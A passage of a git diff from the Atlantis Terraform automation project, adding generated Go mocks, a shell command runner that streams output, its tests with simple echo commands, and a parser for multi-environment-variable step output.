+ _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockVersionedExecutorWorkflow) Run(ctx command.ProjectContext, executablePath string, envs map[string]string, workdir string, extraArgs []string) (string, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockVersionedExecutorWorkflow().") + } + _params := []pegomock.Param{ctx, executablePath, envs, workdir, extraArgs} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Run", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockVersionedExecutorWorkflow) VerifyWasCalledOnce() *VerifierMockVersionedExecutorWorkflow { + return &VerifierMockVersionedExecutorWorkflow{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockVersionedExecutorWorkflow) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockVersionedExecutorWorkflow { + return &VerifierMockVersionedExecutorWorkflow{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockVersionedExecutorWorkflow) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockVersionedExecutorWorkflow { + return &VerifierMockVersionedExecutorWorkflow{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockVersionedExecutorWorkflow) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockVersionedExecutorWorkflow { + return &VerifierMockVersionedExecutorWorkflow{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockVersionedExecutorWorkflow struct { + mock *MockVersionedExecutorWorkflow + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockVersionedExecutorWorkflow) EnsureExecutorVersion(log logging.SimpleLogging, v *go_version.Version) *MockVersionedExecutorWorkflow_EnsureExecutorVersion_OngoingVerification { + _params := []pegomock.Param{log, v} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "EnsureExecutorVersion", _params, verifier.timeout) + return &MockVersionedExecutorWorkflow_EnsureExecutorVersion_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockVersionedExecutorWorkflow_EnsureExecutorVersion_OngoingVerification struct { + mock *MockVersionedExecutorWorkflow + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockVersionedExecutorWorkflow_EnsureExecutorVersion_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, *go_version.Version) { + log, v := c.GetAllCapturedArguments() + return log[len(log)-1], v[len(v)-1] +} + +func (c *MockVersionedExecutorWorkflow_EnsureExecutorVersion_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []*go_version.Version) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]*go_version.Version, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(*go_version.Version) + } + } + } + return +} + +func (verifier *VerifierMockVersionedExecutorWorkflow) Run(ctx command.ProjectContext, executablePath string, envs map[string]string, workdir string, extraArgs []string) *MockVersionedExecutorWorkflow_Run_OngoingVerification { + _params := []pegomock.Param{ctx, executablePath, envs, workdir, extraArgs} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Run", _params, verifier.timeout) + return &MockVersionedExecutorWorkflow_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockVersionedExecutorWorkflow_Run_OngoingVerification struct { + mock *MockVersionedExecutorWorkflow + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockVersionedExecutorWorkflow_Run_OngoingVerification) GetCapturedArguments() (command.ProjectContext, string, map[string]string, string, []string) { + ctx, executablePath, envs, workdir, extraArgs := c.GetAllCapturedArguments() + return ctx[len(ctx)-1], executablePath[len(executablePath)-1], envs[len(envs)-1], workdir[len(workdir)-1], extraArgs[len(extraArgs)-1] +} + +func (c *MockVersionedExecutorWorkflow_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []string, _param2 []map[string]string, _param3 []string, _param4 [][]string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.ProjectContext) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + if len(_params) > 2 { + _param2 = make([]map[string]string, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(map[string]string) + } + } + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } + } + if len(_params) > 4 { + _param4 = make([][]string, len(c.methodInvocations)) + for u, param := range _params[4] { + _param4[u] = param.([]string) + } + } + } + return +} diff --git a/server/core/runtime/models/exec.go b/server/core/runtime/models/exec.go new file mode 100644 index 0000000000..4a7df796f3 --- /dev/null +++ b/server/core/runtime/models/exec.go @@ -0,0 +1,48 @@ +package models + +import ( + "fmt" + "os" + "os/exec" + "strings" +) + +//go:generate pegomock generate --package mocks -o mocks/mock_exec.go Exec + +type Exec interface { + LookPath(file string) (string, error) + CombinedOutput(args []string, envs map[string]string, workdir string) (string, error) +} + +type LocalExec struct{} + +func (e LocalExec) LookPath(file string) (string, error) { + return exec.LookPath(file) +} + +// CombinedOutput encapsulates creating a command and running it. We should think about +// how to flexibly add parameters here as this is meant to satisfy very simple usecases +// for more complex usecases we can add a Command function to this method which will +// allow us to edit a Cmd directly. +func (e LocalExec) CombinedOutput(args []string, envs map[string]string, workdir string) (string, error) { + formattedArgs := strings.Join(args, " ") + + envVars := []string{} + for key, val := range envs { + envVars = append(envVars, fmt.Sprintf("%s=%s", key, val)) + } + + // TODO: move this os.Environ call out to the server so this + // can happen once at the beginning + envVars = append(envVars, os.Environ()...) + + // honestly not entirely sure why we're using sh -c but it's used + // for the terraform binary so copying it for now + cmd := exec.Command("sh", "-c", formattedArgs) + cmd.Env = envVars + cmd.Dir = workdir + + output, err := cmd.CombinedOutput() + + return string(output), err +} diff --git a/server/core/runtime/models/filepath.go b/server/core/runtime/models/filepath.go new file mode 100644 index 0000000000..62eea76b8b --- /dev/null +++ b/server/core/runtime/models/filepath.go @@ -0,0 +1,40 @@ +package models + +import ( + "os" + "path/filepath" +) + +//go:generate pegomock generate --package mocks -o mocks/mock_filepath.go FilePath + +type FilePath interface { + NotExists() bool + Join(elem ...string) FilePath + Symlink(newname string) (FilePath, error) + Resolve() string +} + +type LocalFilePath string + +func (fp LocalFilePath) NotExists() bool { + _, err := os.Stat(string(fp)) + + return os.IsNotExist(err) +} + +func (fp LocalFilePath) Join(elem ...string) FilePath { + pathComponents := []string{} + + pathComponents = append(pathComponents, string(fp)) + pathComponents = append(pathComponents, elem...) + + return LocalFilePath(filepath.Join(pathComponents...)) +} + +func (fp LocalFilePath) Symlink(newname string) (FilePath, error) { + return LocalFilePath(newname), os.Symlink(fp.Resolve(), newname) +} + +func (fp LocalFilePath) Resolve() string { + return string(fp) +} diff --git a/server/core/runtime/models/mocks/mock_exec.go b/server/core/runtime/models/mocks/mock_exec.go new file mode 100644 index 0000000000..e528ba3260 --- /dev/null +++ b/server/core/runtime/models/mocks/mock_exec.go @@ -0,0 +1,170 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/core/runtime/models (interfaces: Exec) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + "reflect" + "time" +) + +type MockExec struct { + fail func(message string, callerSkip ...int) +} + +func NewMockExec(options ...pegomock.Option) *MockExec { + mock := &MockExec{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockExec) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockExec) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockExec) CombinedOutput(args []string, envs map[string]string, workdir string) (string, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockExec().") + } + _params := []pegomock.Param{args, envs, workdir} + _result := pegomock.GetGenericMockFrom(mock).Invoke("CombinedOutput", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockExec) LookPath(file string) (string, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockExec().") + } + _params := []pegomock.Param{file} + _result := pegomock.GetGenericMockFrom(mock).Invoke("LookPath", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockExec) VerifyWasCalledOnce() *VerifierMockExec { + return &VerifierMockExec{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockExec) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockExec { + return &VerifierMockExec{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockExec) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockExec { + return &VerifierMockExec{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockExec) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockExec { + return &VerifierMockExec{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockExec struct { + mock *MockExec + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockExec) CombinedOutput(args []string, envs map[string]string, workdir string) *MockExec_CombinedOutput_OngoingVerification { + _params := []pegomock.Param{args, envs, workdir} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "CombinedOutput", _params, verifier.timeout) + return &MockExec_CombinedOutput_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockExec_CombinedOutput_OngoingVerification struct { + mock *MockExec + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockExec_CombinedOutput_OngoingVerification) GetCapturedArguments() ([]string, map[string]string, string) { + args, envs, workdir := c.GetAllCapturedArguments() + return args[len(args)-1], envs[len(envs)-1], workdir[len(workdir)-1] +} + +func (c *MockExec_CombinedOutput_OngoingVerification) GetAllCapturedArguments() (_param0 [][]string, _param1 []map[string]string, _param2 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([][]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.([]string) + } + } + if len(_params) > 1 { + _param1 = make([]map[string]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(map[string]string) + } + } + if len(_params) > 2 { + _param2 = make([]string, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(string) + } + } + } + return +} + +func (verifier *VerifierMockExec) LookPath(file string) *MockExec_LookPath_OngoingVerification { + _params := []pegomock.Param{file} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "LookPath", _params, verifier.timeout) + return &MockExec_LookPath_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockExec_LookPath_OngoingVerification struct { + mock *MockExec + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockExec_LookPath_OngoingVerification) GetCapturedArguments() string { + file := c.GetAllCapturedArguments() + return file[len(file)-1] +} + +func (c *MockExec_LookPath_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } + } + } + return +} diff --git a/server/core/runtime/models/mocks/mock_filepath.go b/server/core/runtime/models/mocks/mock_filepath.go new file mode 100644 index 0000000000..c09613a8c7 --- /dev/null +++ b/server/core/runtime/models/mocks/mock_filepath.go @@ -0,0 +1,228 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/core/runtime/models (interfaces: FilePath) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + models "github.com/runatlantis/atlantis/server/core/runtime/models" + "reflect" + "time" +) + +type MockFilePath struct { + fail func(message string, callerSkip ...int) +} + +func NewMockFilePath(options ...pegomock.Option) *MockFilePath { + mock := &MockFilePath{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockFilePath) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockFilePath) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockFilePath) Join(elem ...string) models.FilePath { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockFilePath().") + } + _params := []pegomock.Param{} + for _, param := range elem { + _params = append(_params, param) + } + _result := pegomock.GetGenericMockFrom(mock).Invoke("Join", _params, []reflect.Type{reflect.TypeOf((*models.FilePath)(nil)).Elem()}) + var _ret0 models.FilePath + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.FilePath) + } + } + return _ret0 +} + +func (mock *MockFilePath) NotExists() bool { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockFilePath().") + } + _params := []pegomock.Param{} + _result := pegomock.GetGenericMockFrom(mock).Invoke("NotExists", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem()}) + var _ret0 bool + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(bool) + } + } + return _ret0 +} + +func (mock *MockFilePath) Resolve() string { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockFilePath().") + } + _params := []pegomock.Param{} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Resolve", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem()}) + var _ret0 string + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + } + return _ret0 +} + +func (mock *MockFilePath) Symlink(newname string) (models.FilePath, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockFilePath().") + } + _params := []pegomock.Param{newname} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Symlink", _params, []reflect.Type{reflect.TypeOf((*models.FilePath)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 models.FilePath + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.FilePath) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockFilePath) VerifyWasCalledOnce() *VerifierMockFilePath { + return &VerifierMockFilePath{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockFilePath) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockFilePath { + return &VerifierMockFilePath{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockFilePath) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockFilePath { + return &VerifierMockFilePath{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockFilePath) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockFilePath { + return &VerifierMockFilePath{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockFilePath struct { + mock *MockFilePath + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockFilePath) Join(elem ...string) *MockFilePath_Join_OngoingVerification { + _params := []pegomock.Param{} + for _, param := range elem { + _params = append(_params, param) + } + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Join", _params, verifier.timeout) + return &MockFilePath_Join_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockFilePath_Join_OngoingVerification struct { + mock *MockFilePath + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockFilePath_Join_OngoingVerification) GetCapturedArguments() []string { + elem := c.GetAllCapturedArguments() + return elem[len(elem)-1] +} + +func (c *MockFilePath_Join_OngoingVerification) GetAllCapturedArguments() (_param0 [][]string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + _param0 = make([][]string, len(c.methodInvocations)) + for u := 0; u < len(c.methodInvocations); u++ { + _param0[u] = make([]string, len(_params)-0) + for x := 0; x < len(_params); x++ { + if _params[x][u] != nil { + _param0[u][x-0] = _params[x][u].(string) + } + } + } + } + return +} + +func (verifier *VerifierMockFilePath) NotExists() *MockFilePath_NotExists_OngoingVerification { + _params := []pegomock.Param{} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "NotExists", _params, verifier.timeout) + return &MockFilePath_NotExists_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockFilePath_NotExists_OngoingVerification struct { + mock *MockFilePath + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockFilePath_NotExists_OngoingVerification) GetCapturedArguments() { +} + +func (c *MockFilePath_NotExists_OngoingVerification) GetAllCapturedArguments() { +} + +func (verifier *VerifierMockFilePath) Resolve() *MockFilePath_Resolve_OngoingVerification { + _params := []pegomock.Param{} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Resolve", _params, verifier.timeout) + return &MockFilePath_Resolve_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockFilePath_Resolve_OngoingVerification struct { + mock *MockFilePath + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockFilePath_Resolve_OngoingVerification) GetCapturedArguments() { +} + +func (c *MockFilePath_Resolve_OngoingVerification) GetAllCapturedArguments() { +} + +func (verifier *VerifierMockFilePath) Symlink(newname string) *MockFilePath_Symlink_OngoingVerification { + _params := []pegomock.Param{newname} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Symlink", _params, verifier.timeout) + return &MockFilePath_Symlink_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockFilePath_Symlink_OngoingVerification struct { + mock *MockFilePath + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockFilePath_Symlink_OngoingVerification) GetCapturedArguments() string { + newname := c.GetAllCapturedArguments() + return newname[len(newname)-1] +} + +func (c *MockFilePath_Symlink_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } + } + } + return +} diff --git a/server/core/runtime/models/shell_command_runner.go b/server/core/runtime/models/shell_command_runner.go new file mode 100644 index 0000000000..ecd1138117 --- /dev/null +++ b/server/core/runtime/models/shell_command_runner.go @@ -0,0 +1,187 @@ +package models + +import ( + "bufio" + "io" + "os/exec" + "strings" + "sync" + "time" + + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/core/terraform/ansi" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/jobs" +) + +// Setting the buffer size to 10mb +const BufioScannerBufferSize = 10 * 1024 * 1024 + +// Line represents a line that was output from a shell command. +type Line struct { + // Line is the contents of the line (without the newline). + Line string + // Err is set if there was an error. + Err error +} + +// ShellCommandRunner runs a command via `exec.Command` and streams output to the +// `ProjectCommandOutputHandler`. +type ShellCommandRunner struct { + command string + workingDir string + outputHandler jobs.ProjectCommandOutputHandler + streamOutput bool + cmd *exec.Cmd + shell *valid.CommandShell +} + +func NewShellCommandRunner( + shell *valid.CommandShell, + command string, + environ []string, + workingDir string, + streamOutput bool, + outputHandler jobs.ProjectCommandOutputHandler, +) *ShellCommandRunner { + if shell == nil { + shell = &valid.CommandShell{ + Shell: "sh", + ShellArgs: []string{"-c"}, + } + } + var args []string + args = append(args, shell.ShellArgs...) + args = append(args, command) + cmd := exec.Command(shell.Shell, args...) // #nosec + cmd.Env = environ + cmd.Dir = workingDir + + return &ShellCommandRunner{ + command: command, + workingDir: workingDir, + outputHandler: outputHandler, + streamOutput: streamOutput, + cmd: cmd, + shell: shell, + } +} + +func (s *ShellCommandRunner) Run(ctx command.ProjectContext) (string, error) { + _, outCh := s.RunCommandAsync(ctx) + + outbuf := new(strings.Builder) + var err error + for line := range outCh { + if line.Err != nil { + err = line.Err + break + } + outbuf.WriteString(line.Line) + outbuf.WriteString("\n") + } + + // sanitize output by stripping out any ansi characters. + output := ansi.Strip(outbuf.String()) + return output, err +} + +// RunCommandAsync runs terraform with args. It immediately returns an +// input and output channel. Callers can use the output channel to +// get the realtime output from the command. +// Callers can use the input channel to pass stdin input to the command. +// If any error is passed on the out channel, there will be no +// further output (so callers are free to exit). +func (s *ShellCommandRunner) RunCommandAsync(ctx command.ProjectContext) (chan<- string, <-chan Line) { + outCh := make(chan Line) + inCh := make(chan string) + start := time.Now() + + // We start a goroutine to do our work asynchronously and then immediately + // return our channels. + go func() { + // Ensure we close our channels when we exit. + defer func() { + close(outCh) + close(inCh) + }() + + stdout, _ := s.cmd.StdoutPipe() + stderr, _ := s.cmd.StderrPipe() + stdin, _ := s.cmd.StdinPipe() + + ctx.Log.Debug("starting '%s %q' in '%s'", s.shell.String(), s.command, s.workingDir) + err := s.cmd.Start() + if err != nil { + err = errors.Wrapf(err, "running '%s %q' in '%s'", s.shell.String(), s.command, s.workingDir) + ctx.Log.Err(err.Error()) + outCh <- Line{Err: err} + return + } + + // If we get anything on inCh, write it to stdin. + // This function will exit when inCh is closed which we do in our defer. + go func() { + for line := range inCh { + ctx.Log.Debug("writing %q to remote command's stdin", line) + _, err := io.WriteString(stdin, line) + if err != nil { + err = errors.Wrapf(err, "writing %q to process", line) + ctx.Log.Err(err.Error()) + } + } + }() + + wg := new(sync.WaitGroup) + wg.Add(2) + // Asynchronously copy from stdout/err to outCh. + go func() { + scanner := bufio.NewScanner(stdout) + buf := []byte{} + scanner.Buffer(buf, BufioScannerBufferSize) + + for scanner.Scan() { + message := scanner.Text() + outCh <- Line{Line: message} + if s.streamOutput { + s.outputHandler.Send(ctx, message, false) + } + } + wg.Done() + }() + go func() { + scanner := bufio.NewScanner(stderr) + for scanner.Scan() { + message := scanner.Text() + outCh <- Line{Line: message} + if s.streamOutput { + s.outputHandler.Send(ctx, message, false) + } + } + wg.Done() + }() + + // Wait for our copying to complete. This *must* be done before + // calling cmd.Wait(). (see https://github.com/golang/go/issues/19685) + wg.Wait() + + // Wait for the command to complete. + err = s.cmd.Wait() + + dur := time.Since(start) + log := ctx.Log.With("duration", dur) + + // We're done now. Send an error if there was one. + if err != nil { + err = errors.Wrapf(err, "running '%s' '%s' in '%s'", s.shell.String(), s.command, s.workingDir) + log.Err(err.Error()) + outCh <- Line{Err: err} + } else { + log.Info("successfully ran '%s' '%s' in '%s'", + s.shell.String(), s.command, s.workingDir) + } + }() + + return inCh, outCh +} diff --git a/server/core/runtime/models/shell_command_runner_test.go b/server/core/runtime/models/shell_command_runner_test.go new file mode 100644 index 0000000000..e8edc32fb1 --- /dev/null +++ b/server/core/runtime/models/shell_command_runner_test.go @@ -0,0 +1,80 @@ +package models_test + +import ( + "fmt" + "os" + "strings" + "testing" + + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/core/runtime/models" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/jobs/mocks" + logmocks "github.com/runatlantis/atlantis/server/logging/mocks" + . "github.com/runatlantis/atlantis/testing" +) + +func TestShellCommandRunner_Run(t *testing.T) { + cases := []struct { + Command string + ExpLines []string + Environ map[string]string + }{ + { + Command: "echo $HELLO", + Environ: map[string]string{ + "HELLO": "world", + }, + ExpLines: []string{"world"}, + }, + { + Command: ">&2 echo this is an error", + ExpLines: []string{"this is an error"}, + }, + } + + for _, c := range cases { + t.Run(c.Command, func(t *testing.T) { + RegisterMockTestingT(t) + log := logmocks.NewMockSimpleLogging() + When(log.With(Any[string](), Any[interface{}]())).ThenReturn(log) + ctx := command.ProjectContext{ + Log: log, + Workspace: "default", + RepoRelDir: ".", + } + projectCmdOutputHandler := mocks.NewMockProjectCommandOutputHandler() + + cwd, err := os.Getwd() + Ok(t, err) + environ := []string{} + for k, v := range c.Environ { + environ = append(environ, fmt.Sprintf("%s=%s", k, v)) + } + expectedOutput := fmt.Sprintf("%s\n", strings.Join(c.ExpLines, "\n")) + + // Run once with streaming enabled + runner := models.NewShellCommandRunner(nil, c.Command, environ, cwd, true, projectCmdOutputHandler) + output, err := runner.Run(ctx) + Ok(t, err) + Equals(t, expectedOutput, output) + for _, line := range c.ExpLines { + projectCmdOutputHandler.VerifyWasCalledOnce().Send(ctx, line, false) + } + + log.VerifyWasCalledOnce().With(Eq("duration"), Any[interface{}]()) + + // And again with streaming disabled. Everything should be the same except the + // command output handler should not have received anything + + projectCmdOutputHandler = mocks.NewMockProjectCommandOutputHandler() + runner = models.NewShellCommandRunner(nil, c.Command, environ, cwd, false, projectCmdOutputHandler) + output, err = runner.Run(ctx) + Ok(t, err) + Equals(t, expectedOutput, output) + projectCmdOutputHandler.VerifyWasCalled(Never()).Send(Any[command.ProjectContext](), Any[string](), Eq(false)) + + log.VerifyWasCalled(Twice()).With(Eq("duration"), Any[interface{}]()) + }) + } +} diff --git a/server/core/runtime/multienv_step_runner.go b/server/core/runtime/multienv_step_runner.go new file mode 100644 index 0000000000..328d0dee40 --- /dev/null +++ b/server/core/runtime/multienv_step_runner.go @@ -0,0 +1,155 @@ +package runtime + +import ( + "errors" + "fmt" + "strings" + + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/events/command" +) + +// EnvStepRunner set environment variables. +type MultiEnvStepRunner struct { + RunStepRunner *RunStepRunner +} + +// Run runs the multienv step command. +// The command must return a json string containing the array of name-value pairs that are being added as extra environment variables +func (r *MultiEnvStepRunner) Run( + ctx command.ProjectContext, + shell *valid.CommandShell, + command string, + path string, + envs map[string]string, + postProcessOutput valid.PostProcessRunOutputOption, +) (string, error) { + res, err := r.RunStepRunner.Run(ctx, shell, command, path, envs, false, valid.PostProcessRunOutputShow) + if err != nil { + return "", err + } + + var sb strings.Builder + if len(res) == 0 { + sb.WriteString("No dynamic environment variable added") + } else { + sb.WriteString("Dynamic environment variables added:\n") + + vars, err := parseMultienvLine(res) + if err != nil { + return "", fmt.Errorf("Invalid environment variable definition: %s (%w)", res, err) + } + + for i := 0; i < len(vars); i += 2 { + key := vars[i] + envs[key] = vars[i+1] + sb.WriteString(key) + sb.WriteRune('\n') + } + } + + switch postProcessOutput { + case valid.PostProcessRunOutputHide: + return "", nil + case valid.PostProcessRunOutputShow: + return sb.String(), nil + default: + return sb.String(), nil + } +} + +func parseMultienvLine(in string) ([]string, error) { + in = strings.TrimSpace(in) + if in == "" { + return nil, nil + } + if len(in) < 3 { + return nil, errors.New("invalid syntax") // TODO + } + + var res []string + var inValue, dquoted, squoted, escaped bool + var i int + + for j, r := range in { + if !inValue { + if r == '=' { + inValue = true + res = append(res, in[i:j]) + i = j + 1 + } + if r == ' ' || r == '\t' { + return nil, errInvalidKeySyntax + } + if r == ',' && len(res) > 0 { + i = j + 1 + } + continue + } + + if r == '"' && !squoted { + if j == i && !dquoted { // value is double quoted + dquoted = true + i = j + 1 + } else if dquoted && in[j-1] != '\\' { + res = append(res, unescape(in[i:j], escaped)) + i = j + 1 + dquoted = false + inValue = false + } else if in[j-1] != '\\' { + return nil, errMisquoted + } else if in[j-1] == '\\' { + escaped = true + } + continue + } + + if r == '\'' && !dquoted { + if j == i && !squoted { // value is double quoted + squoted = true + i = j + 1 + } else if squoted && in[j-1] != '\\' { + res = append(res, in[i:j]) + i = j + 1 + squoted = false + inValue = false + } + continue + } + + if r == ',' && !dquoted && !squoted && inValue { + res = append(res, 